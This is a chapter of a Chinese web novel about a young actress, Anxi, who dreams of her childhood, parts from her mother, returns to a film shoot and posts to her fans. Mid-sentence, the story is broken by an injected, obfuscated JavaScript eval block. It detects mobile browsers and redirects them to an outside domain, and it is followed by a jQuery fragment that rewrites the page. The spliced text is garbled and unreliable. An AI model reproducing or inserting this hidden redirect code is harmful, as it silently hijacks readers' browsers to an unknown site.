梦中在小时候兜兜转转,看见了很多以为早就忘记的场景。
小学三年级羡慕同学骑车上下学,回家闹了很久,终于拥有了第一辆自行车。
公园里妈妈推着自行车在后面急促地跑着,大声笑着说:“妈妈要放手啦!”
安夕尖叫着喊道:“别放手妈妈!别放手!”
“好,不放手!安夕放心骑,妈妈就在身后,对,就这样!骑车是不是很简单?”
“妈妈别放手!”
“好,不放手!”
“妈妈你没放手吧!”
“妈妈没放手!”
妈妈的声音却在身后越来越远,细细的轮胎下,跑道是模糊的幻影在极速往后退,安夕越看越觉得心慌,妈妈在身后大声喊道:
“别低头!看前面!安夕!抬头看前面!”
“妈妈你骗我!你说不放手的!”
“你看你自己骑也可以!安夕你学会骑车啦!”
速度越来越快,公园两边的绿化和妈妈的声音一样越来越模糊,公园红色的跑道将世界模糊成飞速后退的马赛克。
原来第一次尝试独立的滋味,已经如此模糊。
一股浓黑的风涌入梦里的世界,原来是这天。
浓黑色的医院过道里,妈妈含泪劝说着:
“我们是普通人家,艺术当个兴趣学学就好,不要发昏想着走专业赛道,没有那个条件。”
安夕手里捏着刚拿到的奖牌,低头不语。奖牌被一把抢过,妈妈压着声音怒斥:
“一次获奖不能说明什么!不要尾巴翘上天了!我还不知道你?就是个资质普普通通的小孩!眼下你爸爸还在住院,家里正困难,年纪小不指望你承担什么,但也不要自私添乱!”
过往的汗水,忍过的痛,偷偷流过的泪,全都化成浓黑色的风,舞房破碎的镜子在空中漂浮。安夕扔了奖牌,无力的随风飘荡,直到世界再次安静下来。
又回到高一那年,MP3、MP4的碎片散落一地,这是攒了很久早饭钱偷偷买的宝贝。爸爸嘶吼着质问为什么不好好学习!把时间浪费在这些东西上?安夕不敢吱声,低着头暗暗发誓一定把成绩提上来,考上大学离开家好好放肆!
别开头看向窗外,很奇怪大白天为何有一轮圆月?窗户似乎越来越小,装不下那一轮圆月。
不止窗户,餐桌椅子都比记忆中小了很多,还有那扇吊扇,妈妈曾反复提醒不要踩在椅子上去够它,如今看起来却伸手可触。
安夕疑惑地环顾着房间,一切都在快速的旋转,直至视线再度模糊。
再看清楚画面时,已经是夜里了,安夕走在高三下晚自习的路上,夜里风很大,臃肿的校服下裹着妈妈特地买的长款羽绒服,每个人都走得很缓慢。
过了这个冬天,寒假后回校就真得是冲刺阶段了,自由好像就在前面,在黑板上倒计时的终点,在这个冬天的背后,可是脚步越来越缓慢,临到终点没有奔跑的勇气。
好冷啊,好想回家。
家又出现在了眼前,老式的白织灯挂在房顶,爸爸坐在小小的餐桌前,有些年头的墙壁泛着灰白,倒映出爸爸已经有些佝偻的身子,他仔仔细细地翻阅着眼前的高考志愿书。
在这小小的客厅里,安夕第一次看见爸爸流泪,他说:“往后的路爸爸妈妈没办法为你做主了,你要自己去走。”
日子比梦中旋转的速度还要快,近十年的时光呼啸而过。曾经纠结了几晚也难以做出的决定,曾经尴尬到想要就地去世的崩溃瞬间,曾经压力大到无法入眠的难熬时光,曾经自尊被人踩在脚下不想回忆的往事,曾经忍痛放弃的梦想,全都化成碎片尽数散去。
安夕感觉自己化成一粒小小的尘埃,在空中随风旋转翻滚,再一睁眼,竟一时没反应过来这是哪里。
拉开窗帘,月亮还挂在天边,安夕晃过神来,心下悲凉。浑浑噩噩间数十年的时光已逝去,其实很早之前就学会了放手和独立,为什么兜兜转转又如此默契地一起忘记?
厨房里有轻微的声响,是妈妈早早起来开始准备早餐。其实父母之间像昨晚那样的争吵,发生过无数次,每次争吵过后,妈妈都默默收拾好情绪,第二天依旧早早起床,准备好一桌早餐,她平静的守护这个家。
也许平静也是一种麻木,隐忍是因为明白根本无法沟通。
安夕站在门口静静地看着她,看着她将自己的全身心交付给这个家庭,即便代价是彻底失去自我。
倘若还有良心,应当回馈这份单纯的、执着的且义无反顾的爱。只是当选择的权力交到自己手中,安夕发现自己没有她这样的勇气。
这样的奔赴,背后可能是两手空空的过往,赌的是一份更好的明天。可是自己没有这样的向往,一丝一毫也没有,宁愿在泥坑中煎熬,也不想失去自我。
只是,若还有良心,不应该再与她对质,去将一切争辩清楚。
谁的人生都不是一片清明,也许一切本身就是没有意义,只是一种选择而已。
有人看清了,有人不愿意看清,争辩清楚更没有意义,还是一种残忍。
意外的是,妈妈的反应比想象中平静太多。
“想清楚了就去吧,照顾好自己。”
“妈……”
“走吧,等你爸醒了又要吵了。”
“你也照顾好自己。”
我们要各自爱好自己,这是内心最后的安放。
唯有如此才能放下羁绊,撕开相连的血肉,去面对各自的选择,于漫长的岁月中学会放手。
车行驶在高速上,刚下过雨的清晨,路面上的积水还未完全蒸发,车轮驶过一路滋滋滋作响,安夕打开车窗,风立即舞动发丝。
安夕从一片混乱中捞出一缕头发别到耳后,很快又被风吹散,许翊辰默默将窗户关了起来。
“不行,我要吹风。”
“哦。”
窗户打开,头发又开始肆掠,安夕从包里找到皮筋将头发挽起。
呼,终于清净了。
副驾驶的座位弧度依旧刚刚好,舒适的窝在里面才对得起属于盛夏的短暂清凉,只是内心的焦虑比发丝更混乱。
安夕转头看向许翊辰,墨镜遮住了他半张脸,更远处的天边一团又一团的云层在月亮前面飘过。
“子毅离开后,你独自坚守在这个行业,会不会害怕?”
许翊辰没有回答,手里的方向盘握得更紧,安夕转头看向前面,当晨曦终于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632891|160462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
染透半个山峰时,道路的灰色逐渐变浅,星星点点的金光在跳跃,他的声音明朗的传来。
“很害怕,但我偏要每一步走得更坚定,一定要把他那份也踏踏实实走完。”
安夕好像听出更深的情感,但此时此刻并不能想得清楚,只看着窗外,只记住了属于今早的自由。
“没想到你提前回来了。”
Jessy在电话那头有些欣慰地说道,“既然人已经在剧组了,就赶紧开工吧,接下来几天你要把耽误的进程补起来。”
找一个避风的角落,仔细翻阅近期拍摄的剧本,剧本里亡国的小公主长大了,在艰辛的劳动中长出了手茧,失去了众人的呵护,独自面对风雨。
安夕在笔记上记录着零碎的感想:“爱,固然美好,但单纯无知的甜蜜,最为寡淡。
唯有经历风雨,百般撕裂中重生,从心底,靠眼泪,长出大树,才是真正的生机盎然。
我曾痛恨过自己的剧本,我厌倦过自己生活中的一切,讨厌自己,找不出一个属于我的优点。可是如今,我还是那个不完美的我。
可是如今,我想紧紧、紧紧抓住属于我的剧本,我爱她,爱死她了,我要好好珍惜,每一刻每一秒,我想和自己长长久久的走下去,别人已是别人,我只能是我,我终将成为我。”
乱七八糟写了一通,最后自己都看笑了,合上日记本,拿出手机点开自己的超话,几个熟悉的ID正在活跃。
种一颗月亮叫嚣着:“家人们!今夜月黑风高,我有预感安夕今天一定会发动态!”
底下开始叽叽喳喳的讨论。
“哈哈哈哈哈月黑风高什么鬼!”
“还没见过安夕发动态呢,月亮你狂妄了!”
“我相信月亮的话!月亮的嘴向来跟开了光一样,搬好板凳了!”
“同志们有空去反黑啊!咱家虽然人少,举报一个是一个!”
“走了走了,这就去!”
自从许翊辰提起自己的粉丝,安夕闲了就去看看自己超话,但并不敢发动态,不想被关注到,躲起来,更安全。
只是今夜确实感慨颇多,脑子吵吵闹闹一堆话想往外蹦,写了删,删了写,最终鼓足勇气发了一条动态。
“在众多的不确定中,想找到一丝确定,好好拍戏就是我现在能做的,一起加油~”
平静的社群瞬间又热闹起来。
“我没看错ID吧?!”
“夕夕子加油加油!你可以的!”
“月亮你神了!我宣布自此加入月门!”
“安夕!你终于冒泡了!”
“新戏加油,期待!!!”
“姐姐加油!姐姐你可以的!期待姐姐的新作!!!”
被人期待着的感觉,很微妙,似有一股力量,遮蔽住困难,往心间注入希望。
看着跳动的留言,安夕红了眼眶,默默发誓一定好好努力,带来好的作品。
漆黑的山林中,剧组的大灯硬生生将夜的帷幕撕开一角,将这片区域照得亮如白昼,这一次满眼见到的不是苦累,有希望在萌芽。
月落日升错位流转了一次又一次,颠倒了白天黑夜,剧本越拍越薄,杀青却似乎是突然到来的。